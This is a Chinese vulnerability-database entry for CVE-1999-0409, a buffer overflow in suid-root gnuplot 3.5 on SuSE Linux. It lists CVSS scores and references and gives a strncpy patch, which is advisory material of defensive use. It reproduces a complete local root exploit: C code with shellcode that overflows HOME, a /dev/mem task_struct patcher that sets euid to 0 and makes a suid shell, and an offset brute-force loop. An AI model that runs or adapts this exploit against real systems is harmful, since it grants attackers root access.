CVE-1999-0409
CVSS4.6
发布时间 :1999-03-04 00:00:00
修订时间 :2008-09-09 08:34:30
NMCOE    

[原文]Buffer overflow in gnuplot in Linux version 3.5 allows local users to obtain root access.


[CNNVD]SuSE Linux gnuplot漏洞(CNNVD-199903-026)

        SuSE Linux 3.5版本的gnuplot存在缓冲区溢出漏洞。本地用户可以利用该漏洞访问根目录。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:suse:suse_linux:3.5
cpe:/o:suse:suse_linux:5.2SuSE SuSE Linux 5.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0409
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0409
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199903-026
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/319
(UNKNOWN)  BID  319

- 漏洞信息

SuSE Linux gnuplot漏洞
中危 缓冲区溢出
1999-03-04 00:00:00 2005-05-02 00:00:00
本地  
        SuSE Linux 3.5版本的gnuplot存在缓冲区溢出漏洞。本地用户可以利用该漏洞访问根目录。

- 公告与补丁

        The quickest fix is to de-suid the binary. There is a patch available below.
        --- plot.c.old Fri Mar 5 03:17:59 1999
        +++ plot.c Fri Mar 5 03:29:19 1999
        @@ -516,7 +516,7 @@
        char c='\0';/* character that should be added, or \0, if none */
        if(tmp_home) {
        - strcpy(home,tmp_home);
        + strncpy(home,tmp_home,(sizeof(home) - 1));
        if( strlen(home) ) p = &home[strlen(home)-1];
        else p = home;
        #if defined(MSDOS) || defined(ATARI) || defined( OS2 ) || defined(_Windows) || defined(DOS386)

- 漏洞信息 (19254)

S.u.S.E. Linux 5.2 gnuplot Vulnerability (EDBID:19254)
linux local
1999-03-04 Verified
0 xnec
N/A [点击下载]
source: http://www.securityfocus.com/bid/319/info

Linux gnuplot 3.5 is shipped with S.u.S.E. Linux 5.2 and installed suid root by default. There is a buffer overflow vulnerability present in gnuplot which allows for users to obtain root access locally. 

/*

gnuplot Linux x86 exploit from xnec

tested on gnuplot Linux version 3.5 (pre 3.6) patchlevel beta 336/SuSE 5.2

gnuplot ships suidroot by default in SuSE 5.2, maybe others

gcc -o xnec_plot xnec_plot.c

./xnec_plot <bufsiz> <offset>

The buffer we're overflowing is only 80 bytes, so we're going to have to

get our settings just so. If you don't feel like typing in command line

offsets and bufsizes, make a little shell script: --- #! /bin/bash

bufsiz=110

offset=0

while [ $offset -lt 500 ]; do

./xnec_plot $bufsiz $offset

offset=`expr $offset + 10`

done --- since gnuplot drops root privs after it inits your svga, we can't just exec

/bin/sh, we'll need to use the technique of replacing our saved uid

in /dev/mem with '0', then execing whatever we please. We do this by compiling

Nergal's program, mem.c and putting the output file in /tmp/xp, as in

gcc -o /tmp/xp mem.c. Nergal's program will then make /tmp/sh suidroot,

so don't forget to cp /bin/sh /tmp/sh. You will also have to change

line 32 to the correct address of kstat, which can be obtained by doing

strings /proc/ksyms | grep kstat.

Since I can see absolutely no reason for gnuplot to be suidroot, the bestfix is chmod -s /usr/bin/gnuplot.

greets to #sk1llz, xnec on EFnet and DALnet

*/

#include <stdlib.h>

#define DEFAULT_OFFSET 50

#define DEFAULT_BUFSIZ 110

#define NOP 0x90

#define DEFAULT_ADDR 0xbffff81c

/* Aleph One's shellcode, modified to run our own program */

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/tmp/xp";

unsigned long getsp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buf, *ret;

long *addrp, addr;

int bufsiz, offset;

int i;

bufsiz=DEFAULT_BUFSIZ;

offset=DEFAULT_OFFSET;

if (argc = 2) bufsiz = atoi(argv[1]);

if (argc = 3) offset = atoi(argv[2]);

buf=malloc(bufsiz);

addr = getsp() - offset;

printf("address: 0x%x\n", addr);

printf("bufsize: %d\n", bufsiz);

printf("offset : %d\n", offset);

ret = buf;

addrp = (long *) ret;

for (i = 0; i < bufsiz; i+=4)

*(addrp++) = addr;

memset(buf, NOP, (strlen(shellcode)/2));

ret = buf + ((bufsiz/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++)

*(ret++) = shellcode[i];

buf[bufsiz - 1] = '\0';

memcpy(buf,"HOME=", 5);

setenv("HOME", buf, 1);

execvp("/usr/bin/gnuplot", NULL);

} ---snip---

mem.c

---snip---

/* by Nergal */

#define SEEK_SET 0

#define __KERNEL__

#include <linux/sched.h>

#undef __KERNEL__

#define SIZEOF sizeof(struct task_struct)

int mem_fd;

int mypid;

void

testtask (unsigned int mem_offset)

{

struct task_struct some_task;

int uid, pid;

lseek (mem_fd, mem_offset, SEEK_SET);

read (mem_fd, &some_task, SIZEOF);

if (some_task.pid == mypid) /* is it our task_struct ? */

{

some_task.euid = 0;

some_task.fsuid = 0; /* needed for chown */

lseek (mem_fd, mem_offset, SEEK_SET);

write (mem_fd, &some_task, SIZEOF);

/* from now on, there is no law beyond do what thou wilt */

chown ("/tmp/sh", 0, 0);

chmod ("/tmp/sh", 04755);

exit (0);

}

}

#define KSTAT 0x001a8fb8 /* <-- replace this addr with that of your kstat */

main () /* by doing strings /proc/ksyms |grep kstat */

{ unsigned int i;

struct task_struct *task[NR_TASKS];

unsigned int task_addr = KSTAT - NR_TASKS * 4;

mem_fd = 3; /* presumed to be opened /dev/mem */ mypid = getpid ();

lseek (mem_fd, task_addr, SEEK_SET);

read (mem_fd, task, NR_TASKS * 4);

for (i = 0; i < NR_TASKS; i++)

if (task[i])

testtask ((unsigned int)(task[i]));

} 		

- 漏洞信息

973
Linux gnuplot Local Overflow
Local Access Required Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public

- 漏洞描述

- 时间线

1999-03-04 Unknow
Unknow Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站